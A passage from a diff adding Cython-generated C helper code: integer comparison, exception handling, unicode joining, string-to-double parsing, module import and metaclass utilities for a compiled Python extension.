>> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[4] != ((uintval >> (4 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 3 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 3)) { + unequal = (size != 4) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 2 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 2)) { + unequal = (size != 3) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 1 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 1)) { + unequal = (size != 2) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif + unequal = (size != 1) || (((unsigned long) digits[0]) != (uintval & (unsigned long) PyLong_MASK)); + return (unequal == 0); + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + return ((double)a == (double)b); + } + return __Pyx_PyObject_IsTrueAndDecref( + PyObject_RichCompare(op1, op2, Py_EQ)); +} + +/* GetException */ + #if CYTHON_FAST_THREAD_STATE +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb) +#endif +{ + PyObject *local_type = NULL, *local_value, *local_tb = NULL; +#if CYTHON_FAST_THREAD_STATE + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if PY_VERSION_HEX >= 0x030C00A6 + local_value = tstate->current_exception; + tstate->current_exception = 0; + if (likely(local_value)) { + local_type = (PyObject*) Py_TYPE(local_value); + Py_INCREF(local_type); + local_tb = PyException_GetTraceback(local_value); + } + #else + local_type = tstate->curexc_type; + local_value = tstate->curexc_value; + local_tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; + #endif +#else + PyErr_Fetch(&local_type, &local_value, &local_tb); +#endif + PyErr_NormalizeException(&local_type, &local_value, &local_tb); +#if CYTHON_FAST_THREAD_STATE && PY_VERSION_HEX >= 0x030C00A6 + if (unlikely(tstate->current_exception)) +#elif CYTHON_FAST_THREAD_STATE + if (unlikely(tstate->curexc_type)) +#else + if (unlikely(PyErr_Occurred())) +#endif + goto bad; + #if PY_MAJOR_VERSION >= 3 + if (local_tb) { + if (unlikely(PyException_SetTraceback(local_value, local_tb) < 0)) + goto bad; + } + #endif + Py_XINCREF(local_tb); + Py_XINCREF(local_type); + Py_XINCREF(local_value); + *type = local_type; + *value = local_value; + *tb = local_tb; +#if CYTHON_FAST_THREAD_STATE + #if CYTHON_USE_EXC_INFO_STACK + { + _PyErr_StackItem *exc_info = tstate->exc_info; + #if PY_VERSION_HEX >= 0x030B00a4 + tmp_value = exc_info->exc_value; + exc_info->exc_value = local_value; + tmp_type = NULL; + tmp_tb = NULL; + Py_XDECREF(local_type); + Py_XDECREF(local_tb); + #else + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = local_type; + exc_info->exc_value = local_value; + exc_info->exc_traceback = local_tb; + #endif + } + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = local_type; + tstate->exc_value = local_value; + tstate->exc_traceback = local_tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#else + PyErr_SetExcInfo(local_type, local_value, local_tb); +#endif + return 0; +bad: + *type = 0; + *value = 0; + *tb = 0; + Py_XDECREF(local_type); + Py_XDECREF(local_value); + Py_XDECREF(local_tb); + return -1; +} + +/* pep479 */ + static void __Pyx_Generator_Replace_StopIteration(int in_async_gen) { + PyObject *exc, *val, *tb, *cur_exc; + __Pyx_PyThreadState_declare + #ifdef __Pyx_StopAsyncIteration_USED + int is_async_stopiteration = 0; + #endif + CYTHON_MAYBE_UNUSED_VAR(in_async_gen); + cur_exc = PyErr_Occurred(); + if (likely(!__Pyx_PyErr_GivenExceptionMatches(cur_exc, PyExc_StopIteration))) { + #ifdef __Pyx_StopAsyncIteration_USED + if (in_async_gen && unlikely(__Pyx_PyErr_GivenExceptionMatches(cur_exc, __Pyx_PyExc_StopAsyncIteration))) { + is_async_stopiteration = 1; + } else + #endif + return; + } + __Pyx_PyThreadState_assign + __Pyx_GetException(&exc, &val, &tb); + Py_XDECREF(exc); + Py_XDECREF(val); + Py_XDECREF(tb); + PyErr_SetString(PyExc_RuntimeError, + #ifdef __Pyx_StopAsyncIteration_USED + is_async_stopiteration ? "async generator raised StopAsyncIteration" : + in_async_gen ? "async generator raised StopIteration" : + #endif + "generator raised StopIteration"); +} + +/* JoinPyUnicode */ + static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char) { +#if CYTHON_USE_UNICODE_INTERNALS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyObject *result_uval; + int result_ukind, kind_shift; + Py_ssize_t i, char_pos; + void *result_udata; + CYTHON_MAYBE_UNUSED_VAR(max_char); +#if CYTHON_PEP393_ENABLED + result_uval = PyUnicode_New(result_ulength, max_char); + if (unlikely(!result_uval)) return NULL; + result_ukind = (max_char <= 255) ? PyUnicode_1BYTE_KIND : (max_char <= 65535) ? PyUnicode_2BYTE_KIND : PyUnicode_4BYTE_KIND; + kind_shift = (result_ukind == PyUnicode_4BYTE_KIND) ? 2 : result_ukind - 1; + result_udata = PyUnicode_DATA(result_uval); +#else + result_uval = PyUnicode_FromUnicode(NULL, result_ulength); + if (unlikely(!result_uval)) return NULL; + result_ukind = sizeof(Py_UNICODE); + kind_shift = (result_ukind == 4) ? 2 : result_ukind - 1; + result_udata = PyUnicode_AS_UNICODE(result_uval); +#endif + assert(kind_shift == 2 || kind_shift == 1 || kind_shift == 0); + char_pos = 0; + for (i=0; i < value_count; i++) { + int ukind; + Py_ssize_t ulength; + void *udata; + PyObject *uval = PyTuple_GET_ITEM(value_tuple, i); + if (unlikely(__Pyx_PyUnicode_READY(uval))) + goto bad; + ulength = __Pyx_PyUnicode_GET_LENGTH(uval); + if (unlikely(!ulength)) + continue; + if (unlikely((PY_SSIZE_T_MAX >> kind_shift) - ulength < char_pos)) + goto overflow; + ukind = __Pyx_PyUnicode_KIND(uval); + udata = __Pyx_PyUnicode_DATA(uval); + if (!CYTHON_PEP393_ENABLED || ukind == result_ukind) { + memcpy((char *)result_udata + (char_pos << kind_shift), udata, (size_t) (ulength << kind_shift)); + } else { + #if PY_VERSION_HEX >= 0x030d0000 + if (unlikely(PyUnicode_CopyCharacters(result_uval, char_pos, uval, 0, ulength) < 0)) goto bad; + #elif CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030300F0 || defined(_PyUnicode_FastCopyCharacters) + _PyUnicode_FastCopyCharacters(result_uval, char_pos, uval, 0, ulength); + #else + Py_ssize_t j; + for (j=0; j < ulength; j++) { + Py_UCS4 uchar = __Pyx_PyUnicode_READ(ukind, udata, j); + __Pyx_PyUnicode_WRITE(result_ukind, result_udata, char_pos+j, uchar); + } + #endif + } + char_pos += ulength; + } + return result_uval; +overflow: + PyErr_SetString(PyExc_OverflowError, "join() result is too long for a Python string"); +bad: + Py_DECREF(result_uval); + return NULL; +#else + CYTHON_UNUSED_VAR(max_char); + CYTHON_UNUSED_VAR(result_ulength); + CYTHON_UNUSED_VAR(value_count); + return PyUnicode_Join(__pyx_empty_unicode, value_tuple); +#endif +} + +/* ReturnWithStopIteration */ + static void __Pyx__ReturnWithStopIteration(PyObject* value) { + PyObject *exc, *args; +#if CYTHON_COMPILING_IN_CPYTHON + __Pyx_PyThreadState_declare + if (PY_VERSION_HEX >= 0x030C00A6 + || unlikely(PyTuple_Check(value) || PyExceptionInstance_Check(value))) { + args = PyTuple_New(1); + if (unlikely(!args)) return; + Py_INCREF(value); + PyTuple_SET_ITEM(args, 0, value); + exc = PyType_Type.tp_call(PyExc_StopIteration, args, NULL); + Py_DECREF(args); + if (!exc) return; + } else { + Py_INCREF(value); + exc = value; + } + #if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + #if CYTHON_USE_EXC_INFO_STACK + if (!__pyx_tstate->exc_info->exc_value) + #else + if (!__pyx_tstate->exc_type) + #endif + { + Py_INCREF(PyExc_StopIteration); + __Pyx_ErrRestore(PyExc_StopIteration, exc, NULL); + return; + } + #endif +#else + args = PyTuple_Pack(1, value); + if (unlikely(!args)) return; + exc = PyObject_Call(PyExc_StopIteration, args, NULL); + Py_DECREF(args); + if (unlikely(!exc)) return; +#endif + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); +} + +/* pybytes_as_double */ + static double __Pyx_SlowPyString_AsDouble(PyObject *obj) { + PyObject *float_value; +#if PY_MAJOR_VERSION >= 3 + float_value = PyFloat_FromString(obj); +#else + float_value = PyFloat_FromString(obj, 0); +#endif + if (likely(float_value)) { +#if CYTHON_ASSUME_SAFE_MACROS + double value = PyFloat_AS_DOUBLE(float_value); +#else + double value = PyFloat_AsDouble(float_value); +#endif + Py_DECREF(float_value); + return value; + } + return (double)-1; +} +static const char* __Pyx__PyBytes_AsDouble_Copy(const char* start, char* buffer, Py_ssize_t length) { + int last_was_punctuation = 1; + Py_ssize_t i; + for (i=0; i < length; i++) { + char chr = start[i]; + int is_punctuation = (chr == '_') | (chr == '.') | (chr == 'e') | (chr == 'E'); + *buffer = chr; + buffer += (chr != '_'); + if (unlikely(last_was_punctuation & is_punctuation)) goto parse_failure; + last_was_punctuation = is_punctuation; + } + if (unlikely(last_was_punctuation)) goto parse_failure; + *buffer = '\0'; + return buffer; +parse_failure: + return NULL; +} +static double __Pyx__PyBytes_AsDouble_inf_nan(const char* start, Py_ssize_t length) { + int matches = 1; + char sign = start[0]; + int is_signed = (sign == '+') | (sign == '-'); + start += is_signed; + length -= is_signed; + switch (start[0]) { + #ifdef Py_NAN + case 'n': + case 'N': + if (unlikely(length != 3)) goto parse_failure; + matches &= (start[1] == 'a' || start[1] == 'A'); + matches &= (start[2] == 'n' || start[2] == 'N'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_NAN : Py_NAN; + #endif + case 'i': + case 'I': + if (unlikely(length < 3)) goto parse_failure; + matches &= (start[1] == 'n' || start[1] == 'N'); + matches &= (start[2] == 'f' || start[2] == 'F'); + if (likely(length == 3 && matches)) + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + if (unlikely(length != 8)) goto parse_failure; + matches &= (start[3] == 'i' || start[3] == 'I'); + matches &= (start[4] == 'n' || start[4] == 'N'); + matches &= (start[5] == 'i' || start[5] == 'I'); + matches &= (start[6] == 't' || start[6] == 'T'); + matches &= (start[7] == 'y' || start[7] == 'Y'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + case '.': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': + break; + default: + goto parse_failure; + } + return 0.0; +parse_failure: + return -1.0; +} +static CYTHON_INLINE int __Pyx__PyBytes_AsDouble_IsSpace(char ch) { + return (ch == 0x20) | !((ch < 0x9) | (ch > 0xd)); +} +CYTHON_UNUSED static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length) { + double value; + Py_ssize_t i, digits; + const char *last = start + length; + char *end; + while (__Pyx__PyBytes_AsDouble_IsSpace(*start)) + start++; + while (start < last - 1 && __Pyx__PyBytes_AsDouble_IsSpace(last[-1])) + last--; + length = last - start; + if (unlikely(length <= 0)) goto fallback; + value = __Pyx__PyBytes_AsDouble_inf_nan(start, length); + if (unlikely(value == -1.0)) goto fallback; + if (value != 0.0) return value; + digits = 0; + for (i=0; i < length; digits += start[i++] != '_'); + if (likely(digits == length)) { + value = PyOS_string_to_double(start, &end, NULL); + } else if (digits < 40) { + char number[40]; + last = __Pyx__PyBytes_AsDouble_Copy(start, number, length); + if (unlikely(!last)) goto fallback; + value = PyOS_string_to_double(number, &end, NULL); + } else { + char *number = (char*) PyMem_Malloc((digits + 1) * sizeof(char)); + if (unlikely(!number)) goto fallback; + last = __Pyx__PyBytes_AsDouble_Copy(start, number, length); + if (unlikely(!last)) { + PyMem_Free(number); + goto fallback; + } + value = PyOS_string_to_double(number, &end, NULL); + PyMem_Free(number); + } + if (likely(end == last) || (value == (double)-1 && PyErr_Occurred())) { + return value; + } +fallback: + return __Pyx_SlowPyString_AsDouble(obj); +} + +/* pyobject_as_double */ + static double __Pyx__PyObject_AsDouble(PyObject* obj) { + if (PyUnicode_CheckExact(obj)) { + return __Pyx_PyUnicode_AsDouble(obj); + } else if (PyBytes_CheckExact(obj)) { + return __Pyx_PyBytes_AsDouble(obj); + } else if (PyByteArray_CheckExact(obj)) { + return __Pyx_PyByteArray_AsDouble(obj); + } else { + PyObject* float_value; +#if !CYTHON_USE_TYPE_SLOTS + float_value = PyNumber_Float(obj); if ((0)) goto bad; + (void)__Pyx_PyObject_CallOneArg; +#else + PyNumberMethods *nb = Py_TYPE(obj)->tp_as_number; + if (likely(nb) && likely(nb->nb_float)) { + float_value = nb->nb_float(obj); + if (likely(float_value) && unlikely(!PyFloat_Check(float_value))) { + __Pyx_TypeName float_value_type_name = __Pyx_PyType_GetName(Py_TYPE(float_value)); + PyErr_Format(PyExc_TypeError, + "__float__ returned non-float (type " __Pyx_FMT_TYPENAME ")", + float_value_type_name); + __Pyx_DECREF_TypeName(float_value_type_name); + Py_DECREF(float_value); + goto bad; + } + } else { + float_value = __Pyx_PyObject_CallOneArg((PyObject*)&PyFloat_Type, obj); + } +#endif + if (likely(float_value)) { + double value = PyFloat_AS_DOUBLE(float_value); + Py_DECREF(float_value); + return value; + } + } +bad: + return (double)-1; +} + +/* PyObjectCallMethod0 */ + static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name) { + PyObject *method = NULL, *result = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_CallOneArg(method, obj); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) goto bad; + result = __Pyx_PyObject_CallNoArg(method); + Py_DECREF(method); +bad: + return result; +} + +/* ValidateBasesTuple */ + #if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases) { + Py_ssize_t i, n; +#if CYTHON_ASSUME_SAFE_MACROS + n = PyTuple_GET_SIZE(bases); +#else + n = PyTuple_Size(bases); + if (n < 0) return -1; +#endif + for (i = 1; i < n; i++) + { +#if CYTHON_AVOID_BORROWED_REFS + PyObject *b0 = PySequence_GetItem(bases, i); + if (!b0) return -1; +#elif CYTHON_ASSUME_SAFE_MACROS + PyObject *b0 = PyTuple_GET_ITEM(bases, i); +#else + PyObject *b0 = PyTuple_GetItem(bases, i); + if (!b0) return -1; +#endif + PyTypeObject *b; +#if PY_MAJOR_VERSION < 3 + if (PyClass_Check(b0)) + { + PyErr_Format(PyExc_TypeError, "base class '%.200s' is an old-style class", + PyString_AS_STRING(((PyClassObject*)b0)->cl_name)); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } +#endif + b = (PyTypeObject*) b0; + if (!__Pyx_PyType_HasFeature(b, Py_TPFLAGS_HEAPTYPE)) + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "base class '" __Pyx_FMT_TYPENAME "' is not a heap type", b_name); + __Pyx_DECREF_TypeName(b_name); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + if (dictoffset == 0) + { + Py_ssize_t b_dictoffset = 0; +#if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + b_dictoffset = b->tp_dictoffset; +#else + PyObject *py_b_dictoffset = PyObject_GetAttrString((PyObject*)b, "__dictoffset__"); + if (!py_b_dictoffset) goto dictoffset_return; + b_dictoffset = PyLong_AsSsize_t(py_b_dictoffset); + Py_DECREF(py_b_dictoffset); + if (b_dictoffset == -1 && PyErr_Occurred()) goto dictoffset_return; +#endif + if (b_dictoffset) { + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "extension type '%.200s' has no __dict__ slot, " + "but base type '" __Pyx_FMT_TYPENAME "' has: " + "either add 'cdef dict __dict__' to the extension type " + "or add '__slots__ = [...]' to the base type", + type_name, b_name); + __Pyx_DECREF_TypeName(b_name); + } +#if !(CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY) + dictoffset_return: +#endif +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + } +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + } + return 0; +} +#endif + +/* PyType_Ready */ + static int __Pyx_PyType_Ready(PyTypeObject *t) { +#if CYTHON_USE_TYPE_SPECS || !(CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API) || defined(PYSTON_MAJOR_VERSION) + (void)__Pyx_PyObject_CallMethod0; +#if CYTHON_USE_TYPE_SPECS + (void)__Pyx_validate_bases_tuple; +#endif + return PyType_Ready(t); +#else + int r; + PyObject *bases = __Pyx_PyType_GetSlot(t, tp_bases, PyObject*); + if (bases && unlikely(__Pyx_validate_bases_tuple(t->tp_name, t->tp_dictoffset, bases) == -1)) + return -1; +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + { + int gc_was_enabled; + #if PY_VERSION_HEX >= 0x030A00b1 + gc_was_enabled = PyGC_Disable(); + (void)__Pyx_PyObject_CallMethod0; + #else + PyObject *ret, *py_status; + PyObject *gc = NULL; + #if PY_VERSION_HEX >= 0x030700a1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM+0 >= 0x07030400) + gc = PyImport_GetModule(__pyx_kp_u_gc); + #endif + if (unlikely(!gc)) gc = PyImport_Import(__pyx_kp_u_gc); + if (unlikely(!gc)) return -1; + py_status = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_isenabled); + if (unlikely(!py_status)) { + Py_DECREF(gc); + return -1; + } + gc_was_enabled = __Pyx_PyObject_IsTrue(py_status); + Py_DECREF(py_status); + if (gc_was_enabled > 0) { + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_disable); + if (unlikely(!ret)) { + Py_DECREF(gc); + return -1; + } + Py_DECREF(ret); + } else if (unlikely(gc_was_enabled == -1)) { + Py_DECREF(gc); + return -1; + } + #endif + t->tp_flags |= Py_TPFLAGS_HEAPTYPE; +#if PY_VERSION_HEX >= 0x030A0000 + t->tp_flags |= Py_TPFLAGS_IMMUTABLETYPE; +#endif +#else + (void)__Pyx_PyObject_CallMethod0; +#endif + r = PyType_Ready(t); +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + t->tp_flags &= ~Py_TPFLAGS_HEAPTYPE; + #if PY_VERSION_HEX >= 0x030A00b1 + if (gc_was_enabled) + PyGC_Enable(); + #else + if (gc_was_enabled) { + PyObject *tp, *v, *tb; + PyErr_Fetch(&tp, &v, &tb); + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_enable); + if (likely(ret || r == -1)) { + Py_XDECREF(ret); + PyErr_Restore(tp, v, tb); + } else { + Py_XDECREF(tp); + Py_XDECREF(v); + Py_XDECREF(tb); + r = -1; + } + } + Py_DECREF(gc); + #endif + } +#endif + return r; +#endif +} + +/* Import */ + static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { + PyObject *module = 0; + PyObject *empty_dict = 0; + PyObject *empty_list = 0; + #if PY_MAJOR_VERSION < 3 + PyObject *py_import; + py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); + if (unlikely(!py_import)) + goto bad; + if (!from_list) { + empty_list = PyList_New(0); + if (unlikely(!empty_list)) + goto bad; + from_list = empty_list; + } + #endif + empty_dict = PyDict_New(); + if (unlikely(!empty_dict)) + goto bad; + { + #if PY_MAJOR_VERSION >= 3 + if (level == -1) { + if (strchr(__Pyx_MODULE_NAME, '.') != NULL) { + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, 1); + if (unlikely(!module)) { + if (unlikely(!PyErr_ExceptionMatches(PyExc_ImportError))) + goto bad; + PyErr_Clear(); + } + } + level = 0; + } + #endif + if (!module) { + #if PY_MAJOR_VERSION < 3 + PyObject *py_level = PyInt_FromLong(level); + if (unlikely(!py_level)) + goto bad; + module = PyObject_CallFunctionObjArgs(py_import, + name, __pyx_d, empty_dict, from_list, py_level, (PyObject *)NULL); + Py_DECREF(py_level); + #else + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, level); + #endif + } + } +bad: + Py_XDECREF(empty_dict); + Py_XDECREF(empty_list); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_import); + #endif + return module; +} + +/* ImportDottedModule */ + #if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx__ImportDottedModule_Error(PyObject *name, PyObject *parts_tuple, Py_ssize_t count) { + PyObject *partial_name = NULL, *slice = NULL, *sep = NULL; + if (unlikely(PyErr_Occurred())) { + PyErr_Clear(); + } + if (likely(PyTuple_GET_SIZE(parts_tuple) == count)) { + partial_name = name; + } else { + slice = PySequence_GetSlice(parts_tuple, 0, count); + if (unlikely(!slice)) + goto bad; + sep = PyUnicode_FromStringAndSize(".", 1); + if (unlikely(!sep)) + goto bad; + partial_name = PyUnicode_Join(sep, slice); + } + PyErr_Format( +#if PY_MAJOR_VERSION < 3 + PyExc_ImportError, + "No module named '%s'", PyString_AS_STRING(partial_name)); +#else +#if PY_VERSION_HEX >= 0x030600B1 + PyExc_ModuleNotFoundError, +#else + PyExc_ImportError, +#endif + "No module named '%U'", partial_name); +#endif +bad: + Py_XDECREF(sep); + Py_XDECREF(slice); + Py_XDECREF(partial_name); + return NULL; +} +#endif +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx__ImportDottedModule_Lookup(PyObject *name) { + PyObject *imported_module; +#if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + return NULL; + imported_module = __Pyx_PyDict_GetItemStr(modules, name); + Py_XINCREF(imported_module); +#else + imported_module = PyImport_GetModule(name); +#endif + return imported_module; +} +#endif +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject *name, PyObject *parts_tuple) { + Py_ssize_t i, nparts; + nparts = PyTuple_GET_SIZE(parts_tuple); + for (i=1; i < nparts && module; i++) { + PyObject *part, *submodule; +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + part = PyTuple_GET_ITEM(parts_tuple, i); +#else + part = PySequence_ITEM(parts_tuple, i); +#endif + submodule = __Pyx_PyObject_GetAttrStrNoError(module, part); +#if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(part); +#endif + Py_DECREF(module); + module = submodule; + } + if (unlikely(!module)) { + return __Pyx__ImportDottedModule_Error(name, parts_tuple, i); + } + return module; +} +#endif +static PyObject *__Pyx__ImportDottedModule(PyObject *name, PyObject *parts_tuple) { +#if PY_MAJOR_VERSION < 3 + PyObject *module, *from_list, *star = __pyx_n_s__21; + CYTHON_UNUSED_VAR(parts_tuple); + from_list = PyList_New(1); + if (unlikely(!from_list)) + return NULL; + Py_INCREF(star); + PyList_SET_ITEM(from_list, 0, star); + module = __Pyx_Import(name, from_list, 0); + Py_DECREF(from_list); + return module; +#else + PyObject *imported_module; + PyObject *module = __Pyx_Import(name, NULL, 0); + if (!parts_tuple || unlikely(!module)) + return module; + imported_module = __Pyx__ImportDottedModule_Lookup(name); + if (likely(imported_module)) { + Py_DECREF(module); + return imported_module; + } + PyErr_Clear(); + return __Pyx_ImportDottedModule_WalkParts(module, name, parts_tuple); +#endif +} +static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple) { +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030400B1 + PyObject *module = __Pyx__ImportDottedModule_Lookup(name); + if (likely(module)) { + PyObject *spec = __Pyx_PyObject_GetAttrStrNoError(module, __pyx_n_s_spec); + if (likely(spec)) { + PyObject *unsafe = __Pyx_PyObject_GetAttrStrNoError(spec, __pyx_n_s_initializing); + if (likely(!unsafe || !__Pyx_PyObject_IsTrue(unsafe))) { + Py_DECREF(spec); + spec = NULL; + } + Py_XDECREF(unsafe); + } + if (likely(!spec)) { + PyErr_Clear(); + return module; + } + Py_DECREF(spec); + Py_DECREF(module); + } else if (PyErr_Occurred()) { + PyErr_Clear(); + } +#endif + return __Pyx__ImportDottedModule(name, parts_tuple); +} + +/* ImportFrom */ + static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { + PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); + if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { + const char* module_name_str = 0; + PyObject* module_name = 0; + PyObject* module_dot = 0; + PyObject* full_name = 0; + PyErr_Clear(); + module_name_str = PyModule_GetName(module); + if (unlikely(!module_name_str)) { goto modbad; } + module_name = PyUnicode_FromString(module_name_str); + if (unlikely(!module_name)) { goto modbad; } + module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__22); + if (unlikely(!module_dot)) { goto modbad; } + full_name = PyUnicode_Concat(module_dot, name); + if (unlikely(!full_name)) { goto modbad; } + #if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + { + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + goto modbad; + value = PyObject_GetItem(modules, full_name); + } + #else + value = PyImport_GetModule(full_name); + #endif + modbad: + Py_XDECREF(full_name); + Py_XDECREF(module_dot); + Py_XDECREF(module_name); + } + if (unlikely(!value)) { + PyErr_Format(PyExc_ImportError, + #if PY_MAJOR_VERSION < 3 + "cannot import name %.230s", PyString_AS_STRING(name)); + #else + "cannot import name %S", name); + #endif + } + return value; +} + +/* Py3UpdateBases */ + static PyObject* +__Pyx_PEP560_update_bases(PyObject *bases) +{ + Py_ssize_t i, j, size_bases; + PyObject *base, *meth, *new_base, *result, *new_bases = NULL; + size_bases = PyTuple_GET_SIZE(bases); + for (i = 0; i < size_bases; i++) { + base = PyTuple_GET_ITEM(bases, i); + if (PyType_Check(base)) { + if (new_bases) { + if (PyList_Append(new_bases, base) < 0) { + goto error; + } + } + continue; + } + meth = __Pyx_PyObject_GetAttrStrNoError(base, __pyx_n_s_mro_entries); + if (!meth && PyErr_Occurred()) { + goto error; + } + if (!meth) { + if (new_bases) { + if (PyList_Append(new_bases, base) < 0) { + goto error; + } + } + continue; + } + new_base = __Pyx_PyObject_CallOneArg(meth, bases); + Py_DECREF(meth); + if (!new_base) { + goto error; + } + if (!PyTuple_Check(new_base)) { + PyErr_SetString(PyExc_TypeError, + "__mro_entries__ must return a tuple"); + Py_DECREF(new_base); + goto error; + } + if (!new_bases) { + if (!(new_bases = PyList_New(i))) { + goto error; + } + for (j = 0; j < i; j++) { + base = PyTuple_GET_ITEM(bases, j); + PyList_SET_ITEM(new_bases, j, base); + Py_INCREF(base); + } + } + j = PyList_GET_SIZE(new_bases); + if (PyList_SetSlice(new_bases, j, j, new_base) < 0) { + goto error; + } + Py_DECREF(new_base); + } + if (!new_bases) { + Py_INCREF(bases); + return bases; + } + result = PyList_AsTuple(new_bases); + Py_DECREF(new_bases); + return result; +error: + Py_XDECREF(new_bases); + return NULL; +} + +/* CalculateMetaclass */ + static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases) { + Py_ssize_t i, nbases; +#if CYTHON_ASSUME_SAFE_MACROS + nbases = PyTuple_GET_SIZE(bases); +#else + nbases = PyTuple_Size(bases); + if (nbases < 0) return NULL; +#endif + for (i=0; i < nbases; i++) { + PyTypeObject *tmptype; +#if CYTHON_ASSUME_SAFE_MACROS + PyObject *tmp = PyTuple_GET_ITEM(bases, i); +#else + PyObject *tmp = PyTuple_GetItem(bases, i); + if (!tmp) return NULL; +#endif + tmptype = Py_TYPE(tmp); +#if PY_MAJOR_VERSION < 3 + if (tmptype == &PyClass_Type) + continue; +#endif + if (!metaclass) { + metaclass = tmptype; + continue; 